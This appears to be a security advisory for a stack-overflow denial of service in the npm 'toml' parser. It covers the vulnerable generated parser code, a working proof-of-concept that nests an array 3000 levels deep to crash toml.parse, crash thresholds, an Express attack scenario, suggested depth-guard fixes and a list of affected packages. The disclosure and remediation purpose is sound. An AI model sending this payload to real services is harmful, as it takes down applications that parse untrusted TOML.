Overview
About vulnerability
Summary
toml.parse() crashes with an uncaught RangeError: Maximum call stack size exceeded when parsing deeply nested arrays or inline tables. The parser is generated by Peggy 5.1.0 (a PEG parser generator) as a recursive-descent parser; the value rule mutually recurses with the array and inline-table rules with no depth limit, so nesting depth equal to the input depth exhausts Node’s call stack.
A small payload — a bare array nested a few thousand levels deep (~5–6 KB) — reliably crashes the process on a default Node.js configuration. toml has ~47 million monthly downloads.
Vulnerable Code
The parser is a generated recursive-descent parser (lib/parser.js, header: // @generated by Peggy 5.1.0.). The recursion sink is the mutual recursion between the value, array, and inline_table rule functions — none carry a depth counter:
// lib/parser.js — peg$parsevalue() @ line 1008
function peg$parsevalue() {
...
s0 = peg$parsearray(); // line 1017 ← value → array
if (s0 === peg$FAILED) {
s0 = peg$parseinline_table(); // line 1019 ← value → inline_table
}
...
}
// peg$parsearray() @ line 2879
function peg$parsearray() {
...
s3 = peg$parsevalue(); // line 2931 ← array element → value (back-edge)
...
}
// peg$parseinline_table() @ line 3066 → peg$parseinline_table_entry() @ line 3239
function peg$parseinline_table_entry() {
...
s5 = peg$parsevalue(); // line 3266 ← inline-table value → value (back-edge)
...
}
Recursion cycle for a=[[[ … ]]] (bare nested arrays):
toml.parse(src)
→ peg$parsevalue() # parser.js:1008
→ peg$parsearray() # parser.js:1017 / 2879
→ peg$parsevalue() # parser.js:2931 ← back-edge, per nested element
→ … # depth == input nesting → RangeError, no guard
Inline tables ({arr=[ … ]}, {a={a= … }}) reach the same cycle via peg$parseinline_table / peg$parseinline_table_entry. Because the parser is machine-generated, there is no hand-written function to patch; the fix belongs in the grammar (src/toml.pegjs) or in an input guard (see Suggested Fix).
Confirmed PoC (toml 4.1.2, Node.js v24.16.0)
Setup:
npm install [email protected] # latest release; 4.1.1 and earlier are equally affected
# Docker equivalent:
# docker run --rm node:24 bash -c "npm i -g toml >/dev/null 2>&1; node -e '<PoC below>'"
Reproduce — save as poc.js, run node poc.js:
const toml = require('toml');
console.log('version:', require('toml/package.json').version); // 4.1.2
// Smallest reliable payload: a bare array nested 3000 levels (~6 KB)
let x = '1';
for (let i = 0; i < 3000; i++) x = '[' + x + ']';
const payload = 'a=' + x;
console.log('payload bytes:', payload.length); // 6003
try {
toml.parse(payload);
console.log('no crash');
} catch (e) {
console.log('CONFIRMED:', e.constructor.name + ':', e.message.slice(0, 40));
console.log('is RangeError?', e instanceof RangeError, // true
'| is SyntaxError?', e instanceof SyntaxError); // false
}
Expected output (vulnerable — actual run):
version: 4.1.2
payload bytes: 6003
CONFIRMED: RangeError: Maximum call stack size exceeded
is RangeError? true | is SyntaxError? false
Verified crash thresholds (fresh process, single parse, default Node 24 stack):
| Payload shape | Reliable crash depth | Payload size |
|---|---|---|
Bare nested array a=[[ … ]] |
≥ ~2,500 | ~5 KB (6 KB at depth 3000, used above) |
Inline table {arr=[ … ]} |
≥ ~1,500 | ~12 KB |
> Note on the exact threshold: the precise crashing depth is not perfectly deterministic — it shifts by a few hundred levels depending on V8 JIT state, Node version, platform, and any configured --stack-size. This is expected for a stack-overflow condition. A payload nested a few thousand levels deep (single-digit KB) crashes reliably across runs; the PoC above (depth 3000) leaves ample margin.
Realistic Attack Scenario
// Node.js service parsing user-supplied TOML config
const express = require('express');
const toml = require('toml');
const app = express();
app.use(express.text({ type: 'application/toml', limit: '100kb' }));
app.post('/config', (req, res) => {
try {
const config = toml.parse(req.body); // ← RangeError on ~6 KB nested payload
res.json({ status: 'ok' });
} catch (e) {
// toml only throws a peg$SyntaxError (e.name === 'SyntaxError', with e.line/e.column)
// on malformed input. A RangeError has neither, so this guard rethrows it:
if (e.line != null) return res.status(400).json({ error: e.message });
throw e; // RangeError propagates → uncaught → worker down
}
});
An unauthenticated attacker POSTs a ~6 KB deeply nested body (well under the 100 KB limit). toml.parse overflows the stack and throws RangeError; any handler that only special-cases syntax errors rethrows it, taking down the request (and, depending on the server, the worker).
> The package exports only parse (Object.keys(require('toml')) → ['parse']); there is no toml.SyntaxError. Code written as catch (e) { if (e instanceof toml.SyntaxError) … } is itself broken (instanceof undefined throws), so applications generally cannot cleanly distinguish the DoS RangeError from a normal parse error.
Impact
Any Node.js application that calls toml.parse() on untrusted input is exposed to a remote, unauthenticated denial of service via a small (~5–6 KB) deeply nested payload. toml.parse is the package’s only public API, and TOML is commonly parsed from user-supplied config/upload endpoints. With ~47 million monthly downloads and 0 existing CVEs, the exposure is broad.
RangeError is a subclass of Error (not of the parser’s SyntaxError), so it bypasses the usual “is this a parse error?” checks and propagates as an unexpected exception.
Suggested Fix
Because lib/parser.js is generated, the fix should be applied at the grammar level and regenerated, or guarded at the entry point:
Option 1 — grammar-level depth guard (src/toml.pegjs), then re-run Peggy:
// In the grammar initializer:
{ let depth = 0; const MAX_DEPTH = 500; }
// Wrap the recursive `value` rule:
value = &{ if (++depth > MAX_DEPTH) { error("TOML nesting too deep"); } return true; }
v:(array / inline_table / ...) { depth--; return v; }
Option 2 — entry-point guard in index.js (reject pathological input before parsing):
module.exports.parse = function (input) {
// cheap structural bound before the recursive parse
let depth = 0, max = 0;
for (const ch of input) {
if (ch === '[' || ch === '{') max = Math.max(max, ++depth);
else if (ch === ']' || ch === '}') depth--;
}
if (max > 500) throw new Error('TOML nesting depth exceeds limit (500)');
return realParse(input);
};
Immediate mitigation (users, verified): bound untrusted input length and bracket-nesting depth before calling toml.parse(), e.g. reject payloads whose maximum [/{ nesting exceeds a few hundred. A byte-length limit alone is insufficient (5 KB already crashes).
Comparison with Related Vulnerabilities
Same CWE-674 class as the recursion-DoS findings in the PyPI toml package (C055) and the YAML parsers (PyYAML GHSA-r9mm-j37c-pjwp, ruamel.yaml). The distinguishing detail here: the parser is generated by Peggy, so the recursion lives in peg$parsevalue/peg$parsearray/peg$parseinline_table and cannot be fixed by editing a hand-written function — the earlier draft of this report incorrectly showed hand-written parseValue(tokens, index) functions that do not exist in the package.
Details
- Affected product:
- @content-collections/mdx , astrojs-netlify , blockchain-link-utils , build , coral-xyz-anchor , create-zephyr-apps , effect , effect-cli , fumadocs-content-collections , gatsby-transformer-toml , ledger-live , ledgerhq-coin-concordium , ledgerhq-coin-cosmos , ledgerhq-coin-framework , ledgerhq-coin-stellar , ledgerhq-coin-tester , ledgerhq-concordium-core , ledgerhq-domain-service , ledgerhq-live-cli , ledgerhq-live-common , ledgerhq-live-countervalues , ledgerhq-live-currency-format , ledgerhq-live-nft , ledgerhq-live-nft-react , livestore , livestore-adapter-cloudflare , livestore-adapter-web , livestore-common , livestore-common-cf , livestore-framework-toolkit , livestore-livestore , livestore-react , livestore-sqlite-wasm , livestore-sync-cf , livestore-sync-electric , livestore-utils , livestore-utils-dev , livestore-webmesh , mastra , mastra-blaxel , mdx-bundler , metamask-accounts , metamask-keyring-internal-snap-client , metamask-keyring-snap-client , metamask-keyring-snap-sdk , modern-js-app-tools , modern-js-babel-compiler , modern-js-babel-plugin-module-resolver , modern-js-babel-preset , modern-js-core , modern-js-flight-server-transform-plugin , modern-js-plugin-i18n , modern-js-plugin-polyfill , modern-js-prod-server , modern-js-rsbuild-plugin-esbuild , modern-js-server , modern-js-server-core , modern-js-server-utils , modern-js-tsconfig , modern-js-uni-builder , modern-js-utils , modern.js , mysten-codegen , mysten-create-dapp , napi-rs-cli , netlify-build , netlify-dev , netlify-edge-bundler , netlify-framework-info , netlify-functions-dev , netlify-functions-utils , netlify-headers-parser , netlify-nuxt , netlify-vite-plugin , netlify-vite-plugin-tanstack-start , netlify-zip-it-and-ship-it , netlify/functions , nitro , octanejs-alien-signals , octanejs-animejs , octanejs-colorful , octanejs-day-picker , octanejs-dexie , octanejs-dnd-kit , octanejs-docusaurus , octanejs-draggable , octanejs-drei , octanejs-dropzone , octanejs-embla-carousel , octanejs-floating-ui , octanejs-gsap , octanejs-hook-form , octanejs-i18next , octanejs-inertia , octanejs-ink , octanejs-input-otp , octanejs-intersection-observer , octanejs-jotai , octanejs-lexical , octanejs-livestore , octanejs-lucide , octanejs-markdown , octanejs-mdx , octanejs-motion , octanejs-nuqs , octanejs-pdf , octanejs-phosphor-icons , octanejs-popper , octanejs-radix , octanejs-rainbowkit , octanejs-recharts , octanejs-redux , octanejs-redux-toolkit , octanejs-remix-router , octanejs-rspack-plugin , octanejs-solana-kit , octanejs-sonner , octanejs-spring , octanejs-stylex , octanejs-swr , octanejs-syntax-highlighter , octanejs-tanstack-db , octanejs-tanstack-query , octanejs-tanstack-table , octanejs-tanstack-virtual , octanejs-testing-library , octanejs-textarea-autosize , octanejs-three , octanejs-transition-group , octanejs-vaul , octanejs-vite-plugin , octanejs-window , octanejs-zag , octanejs-zustand , remark-mdx-frontmatter , remix , remix-run-server-runtime , rollup-plugin-zephyr , rsbuild-plugin-toml , sdk-typescript , solana-connector-debugger , solana-wallet-adapter-base-ui , solana-wallet-adapter-example , solana-wallet-adapter-react-ui , stellar-sdk , stellar-stellar-sdk , toml , trezor-connect-web , trezor-suite , vercel , vercel-remix-builder , vite-plugin-tanstack-start-zephyr , vite-plugin-vinext-zephyr , vite-plugin-zephyr , wallet-adapter , web-infra-dev/modern.js , with-zephyr , zephyr-agent , zephyr-astro-integration , zephyr-edge-contract , zephyr-metro-plugin , zephyr-modernjs-plugin , zephyr-nuxt-module , zephyr-packages , zephyr-repack-plugin , zephyr-rolldown-plugin , zephyr-rsbuild-plugin , zephyr-rspack-plugin , zephyr-rspress-plugin , zephyr-webpack-plugin , zephyr-xpack-internal
- Affected packages:
- toml @ 3.0.0 (+1252 more)